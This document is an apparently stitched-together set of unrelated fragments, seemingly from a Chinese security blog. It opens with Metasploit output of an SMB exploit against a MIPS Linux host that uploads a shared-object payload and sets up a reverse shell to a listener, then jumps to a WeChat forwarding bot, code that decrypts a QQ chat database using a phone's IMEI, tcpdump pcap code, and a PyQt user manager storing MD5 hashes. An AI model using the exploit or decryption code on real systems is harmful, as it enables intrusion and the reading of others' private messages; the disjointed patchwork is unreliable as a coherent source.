Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 192.168.31.1 yes The target address range or CIDR identifier RPORT 445 yes The SMB service port (TCP) SMB_FOLDER no The directory to use within the writeable SMB share SMB_SHARE_NAME no The name of the SMB share containing a writeable directory
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.216.129 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name -- ---- 7 Linux MIPSLE
执行攻击
1 2 3 4 5 6 7 8 9 10 11 12
exploit
[*] Started reverse TCP handler on 192.168.216.129:4444 [*] 192.168.31.1:445 - Using location \\192.168.31.1\data\ for the path [*] 192.168.31.1:445 - Retrieving the remote path of the share 'data' [*] 192.168.31.1:445 - Share 'data' has server-side path '/tmp [*] 192.168.31.1:445 - Uploaded payload to \\192.168.31.1\data\KcQiOcbk.so [*] 192.168.31.1:445 - Loading the payload from server-side path /tmp/KcQiOcbk.so using \\PIPE\/tmp/KcQiOcbk.so... [-] 192.168.31.1:445 - >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND [*] 192.168.31.1:445 - Loading the payload from server-side path /tmp/KcQiOcbk.so using /tmp/KcQiOcbk.so... [-] 192.168.31.1:445 - >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND [*] Exploit completed, but no session was created.
import itchat from datetime import datetime import time import re import threading from itchat.content import TEXT from itchat.content import * from apscheduler.schedulers.blocking import BlockingScheduler
@itchat.msg_register([TEXT], isFriendChat=True, isGroupChat=True, isMpChat=True) def getContent(msg): global g_msg groups = itchat.get_chatrooms(update = True) for g in groups: #print(g['NickName']) if g['NickName'] == '被转发的群名': from_group = g['UserName'] if '每日安全简讯' in msg['Content']: print("get message from " + msg['FromUserName']) if msg['FromUserName'] == from_group: g_msg = msg['Content'] print('成功获得群消息，等待转发') print(int(time.strftime("%H%M%S"))) while(1): if int(time.strftime("%H%M%S")) > 80000: SendMessage(g_msg,'发送的对象群名') g_msg = '' break
IMEI = '867179032952446' conn = sqlite3.connect('2685371834.db') c = conn.cursor()
def _decrypt(foo): substr = '' #print(len(foo)) for i in range(0,len(foo)): substr += chr(ord(foo[i]) ^ ord(IMEI[i%15])) return substr
#rem = c.execute("SELECT uin, remark, name FROM Friends") Msg = c.execute("SELECT msgData, senderuin, time FROM mr_friend_0FC9764CD248C8100C82A089152FB98B_New")
for msg in Msg: uid = _decrypt(msg[1]) print("\n"+uid+":") try: msgData = _decrypt(msg[0]).decode('utf-8') print(msgData) except: pass
struct pcap_file_header { bpf_u_int32 magic; u_short version_major; u_short version_minor; bpf_int32 thiszone; /* gmt to local correction */ bpf_u_int32 sigfigs; /* accuracy of timestamps */ bpf_u_int32 snaplen; /* max length saved portion of each pkt */ bpf_u_int32 linktype; /* data link type (LINKTYPE_*) */ };
1. do { 2. status = pcap_loop(pd, cnt, callback, pcap_userdata); 3. if (WFileName == NULL) { 4. /* 5. * We're printing packets. Flush the printed output, 6. * so it doesn't get intermingled with error output. 7. */ 8. if (status == -2) { 9. /* 10. * We got interrupted, so perhaps we didn't 11. * manage to finish a line we were printing. 12. * Print an extra newline, just in case. 13. */ 14. putchar('n'); 15. } 16. (void)fflush(stdout); 17. }
defadduser(self): print('开始添加') name = self.lineEdit_4.text() passwd = self.lineEdit_6.text() md5 = hashlib.md5() md5.update(passwd.encode("utf-8")) passwd = md5.hexdigest() group = self.comboBox.currentText() self.name = name if self.euxit(): if name == ''or passwd == '': QMessageBox.warning(self, "警告", "账号和密码不能为空", QMessageBox.Yes) self.lineEdit.setFocus() else: cur_path = os.getcwd() filename = cur_path + '/etc/passwd.txt' fi = open(filename, 'r+') str = name + ':' + passwd + ':' + group + '\n' print('成功增加用户' + str + '\n') fi.seek(0, 2) fi.write(str) fi.close() else: QMessageBox.warning(self, "警告", "用户已存在", QMessageBox.Yes) self.lineEdit.setFocus()
查询已有用户的实现
从passwd.txt中逐行读出
1 2 3 4 5 6 7 8 9 10 11 12
defreaduser(self): print('readuser') cur_path = os.getcwd() filename = cur_path + '/etc/passwd.txt' fo = open(filename) arrayofLines = fo.readlines() names = '' for line in arrayofLines: line = line.strip() listFromLine = line.split(':') names = names + listFromLine[0] + '\n' self.textEdit.setPlaceholderText(names)
删除用户的实现
从passwd.txt中逐行读出用户名，并与待删除用户比较，如果相同，则删除该行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
defrmuser(self): print(1) cur_path = os.getcwd() filename = cur_path + '/etc/passwd.txt' rmName = self.lineEdit.text() with open(filename, 'r',encoding="utf-8") as r: lines = r.readlines() lenl = len(lines) with open(filename, 'w',encoding="utf-8") as w: for line in lines: l = line.strip() listFromLine = l.split(':') if rmName == listFromLine[0]: print('删除用户' + rmName) continue if line == '\n': print('find换行') line = '' w.write(line)
